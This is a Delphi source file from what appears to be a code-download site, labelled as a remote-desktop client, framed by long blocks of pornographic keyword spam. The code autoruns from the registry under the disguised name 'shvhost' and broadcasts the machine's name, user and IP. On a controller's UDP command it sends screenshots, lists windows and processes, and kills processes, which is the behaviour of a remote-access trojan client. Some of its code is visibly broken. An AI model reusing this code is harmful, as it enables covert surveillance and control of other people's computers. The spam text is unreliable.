亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? vclient.~pas

?? 遠程桌面
?? ~PAS
字號:
unit vclient;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, NMUDP, jpeg, IdBaseComponent, IdComponent, IdUDPBase,
  IdUDPClient, StdCtrls, WinSock, ExtCtrls, Registry, TLHelp32;

type
  TForm1 = class(TForm)
    CUDP: TNMUDP;
    IdUDPClient1: TIdUDPClient;
    Button1: TButton;
    Timer1: TTimer;
    NMUDP1: TNMUDP;
    Button2: TButton;
    ListBox1: TListBox;
    Button3: TButton;
    Edit1: TEdit;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: string; Port: Integer);
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: string; Port: Integer);
    procedure Button3Click(Sender: TObject);
  private
    procedure Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses Math;

{$R *.dfm}
const BufSize = 2048; { 發送每一筆數據的緩沖區大小 }
var
  BmpStream: TMemoryStream;
  LeftSize: Longint; { 發送每一筆數據后剩余的字節數 }
  Enum: Boolean; {是否取各枚舉窗口信息,如已取,則開始發送數據}


//函數枚舉窗口
function EnumerateWindows(hWnd: hWnd; lParam: lParam): BOOL; stdcall;
var
  TheText: array[0..255] of char;
begin
  if (GetWindowText(hWnd, TheText, 255) <> 0) then
  begin
    Form1.ListBox1.Items.Add(Format('%d=%s', [hWnd, TheText]));
  end;
  Result := TRUE;
end;

//寫入注冊表,讓程序自動運行
procedure RegAutoRun;
var
  ARegistry: TRegistry;
begin
  ARegistry := TRegistry.Create;
 //建立一個TRegistry實例
  with ARegistry do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    if OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', TRUE) then
      WriteString('shvhost', Application.ExeName);
    CLoseKey;
    Free;
  end;
end;

//得到計算機名
function GetComputerName1: string;
var
  buffer: array[0..MAX_COMPUTERNAME_LENGTH + 1] of char;
  Size: Cardinal;
begin
  Size := MAX_COMPUTERNAME_LENGTH + 1;
  Windows.GetComputerName(@buffer, Size);
  Result := StrPas(buffer);
end;

//得到用戶名
function GetUserName1: string;
var
  buffer: array[0..MAX_COMPUTERNAME_LENGTH + 1] of char;
  Size: Cardinal;
begin
  Size := MAX_COMPUTERNAME_LENGTH + 1;
  Windows.GetUserName(@buffer, Size);
  Result := StrPas(buffer);
end;

//取得本機IP
function GetIP: string;
var
  WSData: TWSAData;
  buffer: array[0..63] of char;
  HostEnt: PHostEnt;
  PPInAddr: ^PInAddr;
  IPString: string;
begin
  IPString := '';
  try
    WSAStartUp($101, WSData);
    GetHostName(buffer, SizeOf(buffer));
    HostEnt := GetHostByName(buffer);
    if Assigned(HostEnt) then
    begin
      PPInAddr := @(PInAddr(HostEnt.H_Addr_List^));
      while Assigned(PPInAddr^) do
      begin
        IPString := StrPas(INet_NToA(PPInAddr^^));
        Inc(PPInAddr);
      end;
    end;
    Result := IPString;
  finally
    try
      WSACleanUp;
    except
    end;
  end;
end;


//抓全屏
procedure TForm1.Cjt_GetScreen(var Mybmp: TBitmap; DrawCur: Boolean);
var
  Cursorx, Cursory: Integer;
  dc: hdc;
  Mycan: Tcanvas;
  R: TRect;
  DrawPos: TPoint;
  MyCursor: TIcon;
  hld: hWnd;
  Threadld: dword;
  mp: TPoint;
  pIconInf: TIconInfo;
begin
  Mybmp := TBitmap.Create; {建立BMPMAP }
  Mycan := Tcanvas.Create; {屏幕截取}
  dc := GetWindowDC(0);
  try
    Mycan.Handle := dc;
    R := Rect(0, 0, screen.Width, screen.Height);
    Mybmp.Width := R.Right;
    Mybmp.Height := R.Bottom;
    Mybmp.Canvas.CopyRect(R, Mycan, R);
  finally
    releaseDC(0, dc);
  end;
  Mycan.Handle := 0;
  Mycan.Free;
  if DrawCur then {畫上鼠標圖象}
  begin
  //  GetCursorPos(DrawPos);
  //  MyCursor := TIcon.Create;
  //  GetCursorPos(mp);
  //  hld := WindowFromPoint(mp);
  //  Threadld := GetWindowThreadProcessId(hld, nil);
  //  AttachThreadInput(GetCurrentThreadId, Threadld, True);
  //  MyCursor.Handle := Getcursor();
  //  AttachThreadInput(GetCurrentThreadId, Threadld, False);
  //  GetIconInfo(MyCursor.Handle,pIconInf);
  //  Cursorx := DrawPos.x - round(pIconInfo.xHotspot);
  //  Cursory := DrawPos.y - roundto(pIconInfo.yHotspot);
  //  Mybmp.Canvas.Draw(Cursorx, Cursory, MyCursor); {畫上鼠標}
  //  DeleteObject(pIconInfo.hbmColor); {GetIconInfo 使用時創建了兩個bitmap對象. 需要手工釋放這兩個對象}
  //  DeleteObject(pIconInfo.hbmMask); {否則,調用他后,他會創建一個bitmap,多次調用會產生多個,直至資源耗盡}
  //  MyCursor.ReleaseHandle; {釋放數組內存}
  //  MyCursor.Free; {釋放鼠標指針}
  end;
end;


//可指定抓屏范圍
procedure ScreenCap(LeftPos, TopPos, RightPos, BottomPos: Integer);
var
  RectWidth, RectHeight: Integer;
  SourceDC, DestDC, Bhandle: Integer;
  Bitmap: TBitmap;
  jpeg: TJPEGImage;
begin
  Application.ProcessMessages;
  RectWidth := RightPos - LeftPos;
  RectHeight := BottomPos - TopPos;
  SourceDC := CreateDC('DISPLAY', '', '', nil);
  DestDC := CreateCompatibleDC(SourceDC);
  Bhandle := CreateCompatibleBitmap(SourceDC,
    RectWidth, RectHeight);
  SelectObject(DestDC, Bhandle);
  BitBlt(DestDC, 0, 0, RectWidth, RectHeight, SourceDC,
    LeftPos, TopPos, SRCCOPY);
  BmpStream := BmpStream.Create;
  Bitmap := TBitmap.Create;
  Bitmap.Handle := Bhandle;
  jpeg := TJPEGImage.Create;
  jpeg.Assign(Bitmap);
  jpeg.CompressionQuality := 10;
  jpeg.SaveToStream(BmpStream);
  BmpStream.Position := 0;
  LeftSize := BmpStream.Size;
  ShowMessage(IntToStr(LeftSize));
  Bitmap.Free;
  jpeg.Free;
  DeleteDC(DestDC);
  releaseDC(Bhandle, SourceDC);
  Application.ProcessMessages;
  DeleteFile('c:\aa.jpg'); DeleteFile('c:\aa.bmp');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//  Application.ShowMainForm:=false;
  Enum := False;
  BmpStream := TMemoryStream.Create;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  BmpStream.Free;
end;

procedure TForm1.CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
  FromIP: string; Port: Integer);
var
  CtrlCode: array[0..29] of char;
  Buf: array[0..BufSize - 1] of char;
  TmpStr: string;
  SendSize, LeftPos, TopPos, RightPos, BottomPos: Integer;
  Mybmp: TBitmap;
  Myjpg: TJPEGImage;
begin
  CUDP.ReadBuffer(CtrlCode, NumberBytes); { 讀取控制碼 }
  if CtrlCode[0] + CtrlCode[1] + CtrlCode[2] + CtrlCode[3] = 'show' then
  begin { 控制碼前4位為“show”表示主控機發出了抓屏指令 }
    if BmpStream.Size = 0 then { 沒有數據可發,必須截屏生成數據 }
    begin
   {   TmpStr := StrPas(CtrlCode);
      TmpStr := Copy(TmpStr, 5, Length(TmpStr) - 4);
      LeftPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1));
      TmpStr := Copy(TmpStr, Pos(':', TmpStr) + 1, Length(TmpStr)
        - Pos(':', TmpStr));
      TopPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1));
      TmpStr := Copy(TmpStr, Pos(':', TmpStr) + 1, Length(TmpStr) -
        Pos(':', TmpStr));
      RightPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1));
      BottomPos := StrToInt(Copy(TmpStr, Pos(':', TmpStr
        ) + 1, Length(TmpStr) - Pos(':', TmpStr)));
      ScreenCap(LeftPos, TopPos, RightPos, BottomPos); {截取屏幕}

      //取得壓縮比例
      TmpStr := StrPas(CtrlCode);
      TmpStr := Copy(TmpStr, 5, Length(TmpStr) - 4);
      LeftPos := StrToInt(Copy(TmpStr, 1, Pos(':', TmpStr) - 1));

      //圖像轉換成JPEG 并壓縮
      Mybmp := TBitmap.Create;
      Myjpg := TJPEGImage.Create;
      Cjt_GetScreen(Mybmp, TRUE);
      Myjpg.Assign(Mybmp); {將BMP圖象轉成JPG格式,便于在互聯網上傳輸}
      Myjpg.CompressionQuality := LeftPos; {JPG文件壓縮百分比設置,數字越大圖像越清晰,但數據也越大}
      Myjpg.JPEGNeeded;
      Myjpg.Compress;
      Myjpg.SaveToStream(BmpStream); {將JPG圖象寫入流中}
      Myjpg.Free;
      Mybmp.Free;
      BmpStream.Position := 0; {注意:必須添加此句}
      LeftSize := BmpStream.Size;
    end;

    if LeftSize > BufSize then SendSize := BufSize
    else SendSize := LeftSize;

    BmpStream.ReadBuffer(Buf, SendSize);
    LeftSize := LeftSize - SendSize;

    if LeftSize = 0 then BmpStream.Clear; { 清空流 }
    CUDP.RemoteHost := FromIP; { FromIP為主控機IP地址 }
    CUDP.SendBuffer(Buf, SendSize); { 將數據發到主控機的2222口 }
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  LocalName, LocalIP, LocalUser: string;
begin
  LocalName := GetComputerName1();
  LocalUser := GetUserName1();
  LocalIP := GetIP();
  IdUDPClient1.Host := '255.255.255.255';
  IdUDPClient1.Send('add' + LocalName + ':' + LocalUser + ':' + LocalIP);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  Button1.Click;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  I, J: Integer;
  a: string;
begin
  Enum := TRUE;
  ListBox1.Clear;
  EnumWindows(@EnumerateWindows, 0);
end;

procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: string; Port: Integer);
var
  CtrlCode1: array[0..199] of char;
  Code: string;
  EnumStr: string;
  H: THandle;
  P: dword;
begin
  NMUDP1.ReadBuffer(CtrlCode1, NumberBytes);
  Code := CtrlCode1[0] + CtrlCode1[1]
    + CtrlCode1[2] + CtrlCode1[3];
  NMUDP1.RemoteHost := FromIP;
  if Code = 'Enum' then //取得枚舉窗口信息
  begin
    if Enum = False then Button2.Click;
    if ListBox1.Items.Count >= 0 then
    begin
      EnumStr := 'Enum' + ListBox1.Items[0];
      if ListBox1.Items.Count = 1 then
      begin
        Enum := False;
        EnumStr := 'Eend';
        StrpCopy(CtrlCode1, EnumStr);
        NMUDP1.SendBuffer(CtrlCode1, 200);
      end
      else
      begin
        StrpCopy(CtrlCode1, EnumStr);
        NMUDP1.SendBuffer(CtrlCode1, 200);
      end;
      ListBox1.Items.Delete(0);
    end;
  end;
  if Code = 'Proc' then //取得系統進程
  begin
    if Enum = False then Button3.Click;
    if ListBox1.Items.Count >= 0 then
    begin
      EnumStr := 'Proc' + ListBox1.Items[0];
      if ListBox1.Items.Count = 1 then
      begin
        Enum := False;
        EnumStr := 'Pend';
        StrpCopy(CtrlCode1, EnumStr);
        NMUDP1.SendBuffer(CtrlCode1, 200);
      end
      else
      begin
        StrpCopy(CtrlCode1, EnumStr);
        NMUDP1.SendBuffer(CtrlCode1, 200);
      end;
      ListBox1.Items.Delete(0);
    end;
  end;
  if Code = 'Clos' then
  begin
    EnumStr := StrPas(CtrlCode1);
    EnumStr := Copy(EnumStr, 5, Length(EnumStr));
    EnumStr := Trim(EnumStr);
    H := StrToInt(EnumStr);
    GetWindowThreadProcessId(H, @P);
    if P <> 0 then
      TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, P), $FFFFFFFF);
  end;
end;

procedure TForm1.Button3Click(Sender: TObject);
var
  lppe: TProcessEntry32;
  found: Boolean;
  Hand: THandle;
begin
  Enum := TRUE;
  ListBox1.Clear;
  Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  found := Process32First(Hand, lppe);
  while found do
  begin
    ListBox1.Items.Add(IntToStr(lppe.th32ProcessID) + '='
      + StrPas(lppe.szExeFile)); //列出所有進程。
    found := Process32Next(Hand, lppe);
  end;
  ListBox1.Items.Delete(0);
end;

end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
中文字幕va一区二区三区| 日韩限制级电影在线观看| 亚洲国产乱码最新视频| 久久久久久久久久久久久夜| 欧美伊人久久久久久久久影院 | 亚洲另类春色校园小说| 欧美精品一区二区三区视频| 欧美特级限制片免费在线观看| 国产一区二区看久久| 亚洲亚洲精品在线观看| 国产精品久久久久婷婷二区次| 欧美一区二区三区在线视频| 在线观看免费亚洲| 成人激情午夜影院| 精品伊人久久久久7777人| 一区二区国产视频| 国产精品福利一区| 久久精品日韩一区二区三区| 欧美一区二区在线免费观看| 91黄视频在线| 99久久免费视频.com| 国产乱一区二区| 日本麻豆一区二区三区视频| 亚洲国产一二三| 亚洲欧美偷拍卡通变态| 中日韩免费视频中文字幕| 精品裸体舞一区二区三区| 91精品国产一区二区三区蜜臀| 欧洲生活片亚洲生活在线观看| 成人av资源站| 成人中文字幕在线| 高清日韩电视剧大全免费| 国产专区欧美精品| 国产又黄又大久久| 老色鬼精品视频在线观看播放| 肉色丝袜一区二区| 婷婷综合五月天| 亚洲18影院在线观看| 亚洲午夜精品久久久久久久久| 亚洲另类在线视频| 一区二区成人在线视频| 亚洲午夜一二三区视频| 亚洲午夜羞羞片| 天使萌一区二区三区免费观看| 午夜精品一区二区三区三上悠亚| 亚洲不卡在线观看| 午夜精品免费在线| 蜜桃一区二区三区在线| 久久国产精品免费| 国产成人免费9x9x人网站视频| 国产尤物一区二区在线| 成人午夜看片网址| 99久久精品一区二区| 91麻豆精东视频| 欧美亚日韩国产aⅴ精品中极品| 欧美色涩在线第一页| 欧美精选一区二区| 欧美tickling挠脚心丨vk| 精品国精品国产| 国产日韩欧美不卡| 最新久久zyz资源站| 夜夜嗨av一区二区三区 | 国产福利91精品一区二区三区| 成人一区二区三区在线观看| 成人av集中营| 欧美性猛交xxxx乱大交退制版| 欧美人与禽zozo性伦| 日韩欧美一区二区视频| 久久九九久久九九| 亚洲欧美一区二区三区极速播放 | 91国偷自产一区二区三区成为亚洲经典 | 久久久精品蜜桃| 亚洲欧美在线另类| 亚洲成人久久影院| 国产一区视频网站| 91麻豆高清视频| 91精品国产色综合久久ai换脸 | 精品国产1区二区| 国产精品欧美极品| 亚洲成人自拍一区| 国产一区二区三区精品欧美日韩一区二区三区 | 久久综合久久综合久久| 国产精品美女久久久久aⅴ| 亚洲一级二级三级| 国产乱妇无码大片在线观看| 91免费版在线| 2023国产精品自拍| 洋洋成人永久网站入口| 国产精品一二三四区| 欧美影片第一页| 欧美极品美女视频| 视频在线观看一区| 成人高清在线视频| 日韩精品一区二区三区四区| 亚洲另类中文字| 国产精品一卡二| 欧美一区二区久久久| 亚洲色图欧美偷拍| 国产麻豆午夜三级精品| 欧美群妇大交群的观看方式| 中文字幕第一区综合| 奇米影视7777精品一区二区| 色先锋aa成人| 国产欧美一区二区精品性| 日韩激情视频在线观看| 99精品视频在线播放观看| xf在线a精品一区二区视频网站| 亚洲一区二区三区四区中文字幕| 国产不卡在线视频| 日韩欧美精品在线视频| 洋洋av久久久久久久一区| 成人激情综合网站| 久久精品人人做| 蜜桃视频在线观看一区二区| 欧美日韩精品专区| 亚洲日本护士毛茸茸| 福利视频网站一区二区三区| 日韩免费视频线观看| 亚洲国产美国国产综合一区二区| 一本一本大道香蕉久在线精品| 欧美国产日本视频| 国产精品99久久久久久宅男| 日韩免费一区二区| 日本不卡1234视频| 欧美日韩不卡视频| 污片在线观看一区二区 | 精品99一区二区三区| 日韩在线一二三区| 91.com视频| 日韩成人一区二区三区在线观看| 欧美性色黄大片手机版| 亚洲免费资源在线播放| 97久久超碰国产精品电影| 国产精品高潮久久久久无| 成人午夜伦理影院| 综合av第一页| 色94色欧美sute亚洲线路二 | 久久久久青草大香线综合精品| 麻豆精品一区二区| 日韩欧美亚洲另类制服综合在线| 美脚の诱脚舐め脚责91| 精品99久久久久久| 国产成人在线看| 欧美激情艳妇裸体舞| av一本久道久久综合久久鬼色| 综合色中文字幕| 欧美丝袜第三区| 日韩经典中文字幕一区| 精品理论电影在线| 国产精品一二三四区| 国产精品福利电影一区二区三区四区| 成人影视亚洲图片在线| 亚洲品质自拍视频网站| 91福利精品第一导航| 亚洲精品videosex极品| 欧美性猛片xxxx免费看久爱| 亚洲chinese男男1069| 欧美一区二区三区免费| 精品在线亚洲视频| 亚洲国产精品高清| 色噜噜狠狠成人网p站| 亚洲成人综合视频| 久久婷婷国产综合国色天香| 成人黄色免费短视频| 一区二区三区四区视频精品免费 | 欧美性受极品xxxx喷水| 日韩成人伦理电影在线观看| 久久色在线观看| 99久久夜色精品国产网站| 日韩精品一区第一页| 亚洲精品在线观| 99国产欧美另类久久久精品| 午夜电影网亚洲视频| 久久综合久色欧美综合狠狠| 色综合久久天天综合网| 日韩vs国产vs欧美| 国产精品久久久久久久久晋中 | 日韩在线观看一区二区| 久久精子c满五个校花| 91福利在线看| 国产精品夜夜爽| 亚洲国产三级在线| 久久免费看少妇高潮| 色综合久久中文字幕综合网| 狠狠色综合播放一区二区| 有坂深雪av一区二区精品| 日韩精品中文字幕在线不卡尤物| 成人av网址在线观看| 蜜臀久久99精品久久久久久9| 国产女人18毛片水真多成人如厕| 欧美少妇一区二区| 国产不卡一区视频| 免费在线欧美视频| 中文字幕制服丝袜一区二区三区 | 欧美日韩国产综合一区二区三区| 国产精品99久久久久久宅男| 午夜精品久久一牛影视| 17c精品麻豆一区二区免费| 日韩精品在线一区| 欧美自拍丝袜亚洲|